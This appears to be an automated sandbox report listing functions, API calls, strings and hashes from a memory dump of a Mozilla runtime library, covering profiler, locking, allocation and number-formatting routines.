Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01161cacb8a776ed627b0e95f9bb26965025e5e3a79a69ca3410f76d9c4ea79e
Instruction ID: b8b11ac8a378bd495d828d13f5edca734639347f3684834ebc5f98524eec1714
Opcode Fuzzy Hash: 01161cacb8a776ed627b0e95f9bb26965025e5e3a79a69ca3410f76d9c4ea79e
Instruction Fuzzy Hash: A251B171A047419FD364CF2AC0D465AB7F5EB89714F24892EE99AC7F84D770E800CB9A

Function 6C694630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C694721

Strings

., xrefs: 6C69476A
-%llu, xrefs: 6C694733
profiler-paused, xrefs: 6C6946E4

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 721f22102ceb5094d93f499681be34476e49b5b7b77df03a580e73ddf8732b63
Instruction ID: efcf2f5aae19728d954d178cad4cbe494f9ab1c0180f4bff90fdc15dbf10630c
Opcode Fuzzy Hash: 721f22102ceb5094d93f499681be34476e49b5b7b77df03a580e73ddf8732b63
Instruction Fuzzy Hash: 5A418771F043099BCB08CF39D8911AEBBF5EF86344F10863DE855ABB41EB708810878A

Function 6C6946E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C694721

Part of subcall function 6C644410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C683EBD,00000017,?,00000000,?,6C683EBD,?,?,6C6442D2), ref: 6C644444

Strings

., xrefs: 6C69476A
-%llu, xrefs: 6C694733
profiler-paused, xrefs: 6C6946E4

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 6ebddd7456d18de583b1592eedb48efad78b1a2261881cd784232b17e2801b16
Instruction ID: c2e2f2f47826b7a44eb090955715a888a8a66e8771360a960c7d1a603935c355
Opcode Fuzzy Hash: 6ebddd7456d18de583b1592eedb48efad78b1a2261881cd784232b17e2801b16
Instruction Fuzzy Hash: 7E317A71F002085BCB0CCF6CD8812EEBBE6DB89314F14853EE8159BB40EBB0D9048B98

Function 6C69B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C644290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C683EBD,6C683EBD,00000000), ref: 6C6442A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C69B127), ref: 6C69B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C69B4E4

Strings

pid:, xrefs: 6C69B4DE

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 0e62cf182cd23b26c7291a6012eb01bc76530e9335d62b0c0a24aaf0cd56ab7d
Instruction ID: e89667b75b0fee6c0e1fd34c393db4047ce315c7bf05862988370078817d2064
Opcode Fuzzy Hash: 0e62cf182cd23b26c7291a6012eb01bc76530e9335d62b0c0a24aaf0cd56ab7d
Instruction Fuzzy Hash: 71317731A0120ADFCB20CFA9D880AEEB7B5FF85718F540529D80167B40D732E945DBE9

Function 6C68E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C68E577
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68E584
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C68E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C68E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C68E655
MOZ_PROFILER_STARTUP, xrefs: 6C68E5A1, 6C68E5CC, 6C68E5FF, 6C68E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C68E826, 6C68E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C68E722, 6C68E750, 6C68E7A2

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 0d88dd4897ef632e7ab31701de514e1a9617f0fea929099905380ad54f120282
Instruction ID: b6e31baa8fec330fbe0ceaed3c7d2e01541d0a858511bb51f9e2f29d0bd920c6
Opcode Fuzzy Hash: 0d88dd4897ef632e7ab31701de514e1a9617f0fea929099905380ad54f120282
Instruction Fuzzy Hash: 1511CE31B04244DFCB009F16C488A6DBBB4FFC9728F404518E85147651C774A905CFEE

Function 6C690C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C690CD5

Part of subcall function 6C67F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C67F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C690D40
free.MOZGLUE ref: 6C690DCB

Part of subcall function 6C665E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C665EDB
Part of subcall function 6C665E90: memset.VCRUNTIME140(ewjl,000000E5,?), ref: 6C665F27
Part of subcall function 6C665E90: LeaveCriticalSection.KERNEL32(?), ref: 6C665FB2

free.MOZGLUE ref: 6C690DDD
free.MOZGLUE ref: 6C690DF2

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0667c31c63e4c77e148499505619d718bb51e30b1ae094561a461825793f49a7
Instruction ID: c113236c3dcbb2df40bbf5daab90081cfb82a80630c3657c8b1d5c1ad829df78
Opcode Fuzzy Hash: 0667c31c63e4c77e148499505619d718bb51e30b1ae094561a461825793f49a7
Instruction Fuzzy Hash: 874139719087819BD720CF29C0817AAFBE5BFC9714F108A2EE8D887751D7709549CB8A

Function 6C69CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C68DA31,00100000,?,?,00000000,?), ref: 6C69CDA4

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

Part of subcall function 6C69D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C69CDBA,00100000,?,00000000,?,6C68DA31,00100000,?,?,00000000,?), ref: 6C69D158
Part of subcall function 6C69D130: InitializeConditionVariable.KERNEL32(00000098,?,6C69CDBA,00100000,?,00000000,?,6C68DA31,00100000,?,?,00000000,?), ref: 6C69D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C68DA31,00100000,?,?,00000000,?), ref: 6C69CDC4

Part of subcall function 6C697480: ReleaseSRWLockExclusive.KERNEL32(?,6C6A15FC,?,?,?,?,6C6A15FC,?), ref: 6C6974EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C68DA31,00100000,?,?,00000000,?), ref: 6C69CECC

Part of subcall function 6C65CA10: mozalloc_abort.MOZGLUE(?), ref: 6C65CAA2

Part of subcall function 6C68CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C69CEEA,?,?,?,?,00000000,?,6C68DA31,00100000,?,?,00000000), ref: 6C68CB57
Part of subcall function 6C68CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C68CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C69CEEA,?,?), ref: 6C68CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C68DA31,00100000,?,?,00000000,?), ref: 6C69D058

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: c9ae90d070c61ab7214a182073b6736586d6b15f95f64dc2ad751a3e039d5e04
Instruction ID: 5317a8cecda38f6f46a28cf08a30ebcd8d80c9bd475b4bc1e564c33624793b0f
Opcode Fuzzy Hash: c9ae90d070c61ab7214a182073b6736586d6b15f95f64dc2ad751a3e039d5e04
Instruction Fuzzy Hash: B8D16E71A04B069FD708CF28C580B99F7E1BF89308F01866DD9598B752EB31E9A5CBC5

Function 6C665C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C665D40
EnterCriticalSection.KERNEL32(6C6CF688), ref: 6C665D67
__aulldiv.LIBCMT ref: 6C665DB4
LeaveCriticalSection.KERNEL32(6C6CF688), ref: 6C665DED

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 6be0fd12e0d8d957fdc8cf88d1f8e673ba271d198a12439eddbd2581ca3a4058
Instruction ID: da722e7c6099a0e3bfb5650825a905ee313f992564f5acbe7a16297409c537fc
Opcode Fuzzy Hash: 6be0fd12e0d8d957fdc8cf88d1f8e673ba271d198a12439eddbd2581ca3a4058
Instruction Fuzzy Hash: 2C518371E001258FCF08CF6AC895ABEBBF1FB85304F19461DD851A7B51C7306A45CB9A

Function 6C64CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C64CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C64CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C64CF4E

Strings

0, xrefs: 6C64CF30

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 27b7869b6d4b612a0f770681b90718d2e99935a69e84651eabd6955be87ec128
Instruction ID: ce8eebb7653db0dcfc91a36402ef5daa67ec012aedd71fba4d265fbb4794e859
Opcode Fuzzy Hash: 27b7869b6d4b612a0f770681b90718d2e99935a69e84651eabd6955be87ec128
Instruction Fuzzy Hash: A651F075A002569FCB00CF19C890AAABBB5EF99300F19C599D85A5F752D731AD0ACBE0

Function 6C686470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6882BC,?,?), ref: 6C68649B

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6864A9

Part of subcall function 6C67FA80: GetCurrentThreadId.KERNEL32 ref: 6C67FA8D
Part of subcall function 6C67FA80: AcquireSRWLockExclusive.KERNEL32(6C6CF448), ref: 6C67FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68653F
free.MOZGLUE(?), ref: 6C68655A

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 39d9bb1ede9a47b82557ffe26ab11271ab7864be557af1ac4e0aa0b18e52d434
Instruction ID: 3f1d6606cac79a0f8b770d65adb4f59050916ec5ed149d9ed51d85c4827c9453
Opcode Fuzzy Hash: 39d9bb1ede9a47b82557ffe26ab11271ab7864be557af1ac4e0aa0b18e52d434
Instruction Fuzzy Hash: DF3161B5A05345AFD700CF15D884A9EBBF4BF89314F00842DE85A97741D730EA19CB9A

Function 6C65B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C65B4F5
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C65B502
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C65B542
free.MOZGLUE(?), ref: 6C65B578

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6a4780ae8fed9f98846ebf960ff2d7c9bb3c1b9900fb0b2675a3a2671542c298
Instruction ID: 9b32c28321c8f7102945d2adaa44051b474fdee2ad92963b378c6a538a36e4b1
Opcode Fuzzy Hash: 6a4780ae8fed9f98846ebf960ff2d7c9bb3c1b9900fb0b2675a3a2671542c298
Instruction Fuzzy Hash: 7A110631A04B41C7D7118F2AC4407A5B3B0FFD6319F60970AE84953A02EBB4B2D5C799

Function 6C683DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C64F20E,?), ref: 6C683DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C64F20E,00000000,?), ref: 6C683DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C683E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C683E0E

Part of subcall function 6C67CC00: GetCurrentProcess.KERNEL32(?,?,6C6431A7), ref: 6C67CC0D
Part of subcall function 6C67CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6431A7), ref: 6C67CC16

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0821ee1a474cc8889c339f20eac4dff4ed4d973c6b3c9134111efef9e259577b
Instruction ID: afa920519a62fd68bb87504020a9bd896596a08b0197b3009821ad4ebb11a5e0
Opcode Fuzzy Hash: 0821ee1a474cc8889c339f20eac4dff4ed4d973c6b3c9134111efef9e259577b
Instruction Fuzzy Hash: 77F01CB1A002087FEB00AB55DC85DAB376DEB87628F040021FE0957741D636BE6986FF

Function 6C6985B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6985D3

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C698725

Strings

map/set<T> too long, xrefs: 6C698720

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 917f0243fa35f54a705b0346ae855466d96082aa970cb91df93343195b3751e8
Instruction ID: 39bd1d54eb2bb24578528f39ede8a8fb57543dfb8465ce4676c875b4fdf50c5a
Opcode Fuzzy Hash: 917f0243fa35f54a705b0346ae855466d96082aa970cb91df93343195b3751e8
Instruction Fuzzy Hash: D15156746046428FD701CF18C184A5ABBF1BF4A318F18C19AD8599FB62C375EC85CF96

Function 6C64BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C64BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64BE8F

Strings

0, xrefs: 6C64BE5B

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c93550acddce6d6fdd519dc691e3cf26a4789b566333287422276385fdfb8936
Instruction ID: 0d2bda9a0f56c4e75115e5f8cf7c6ca84ca0ed9670c22057f7b9a027ce8c16ed
Opcode Fuzzy Hash: c93550acddce6d6fdd519dc691e3cf26a4789b566333287422276385fdfb8936
Instruction Fuzzy Hash: 7C418D71909B45CFC711CF29C481A9FB7F4AFCA388F00CA5DF985A7611D73099598B8A

Function 6C683CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C683D19
mozalloc_abort.MOZGLUE(?), ref: 6C683D6C

Strings

d, xrefs: 6C683D58

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: bb66340afbd9f0923c37cf2d88aa3589978b3c4541323e50c32a307c34ccc02f
Instruction ID: 7b48a4a9ae25117a336a73d6441996055898ced19e1e14b9bfd8ce18774d20d9
Opcode Fuzzy Hash: bb66340afbd9f0923c37cf2d88aa3589978b3c4541323e50c32a307c34ccc02f
Instruction Fuzzy Hash: 42110431E0578897DB048F6AC8544EDB7B5EF86318F448228DD459B602FB30A5C4C3A8

Function 6C6A6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6A6E22
__Init_thread_footer.LIBCMT ref: 6C6A6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6A6E1D

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 5f8f21295bb5ad9625f30acd026bf1df3dd5eca0d47c00b4ed357bed187fc684
Instruction ID: 9ab213869975f56695b83e37966e1990493fca798edfff8ca6fc787dc2446484
Opcode Fuzzy Hash: 5f8f21295bb5ad9625f30acd026bf1df3dd5eca0d47c00b4ed357bed187fc684
Instruction Fuzzy Hash: E8F0BE757492408BDB109BAEC8A4A917772A713318F040565C85687BA2DB21FA0BCEAF

Function 6C659E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C659EEF

Strings

Infinity, xrefs: 6C659EB7
NaN, xrefs: 6C659EC1

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 42694a82d50419593543014ed639d3c0b7b0a1cc9e8c081b0c966009efa554e6
Instruction ID: ade83d353ae3e90e414ea3607e1a668b33cc9a044b411937371976f19cbe3d0c
Opcode Fuzzy Hash: 42694a82d50419593543014ed639d3c0b7b0a1cc9e8c081b0c966009efa554e6
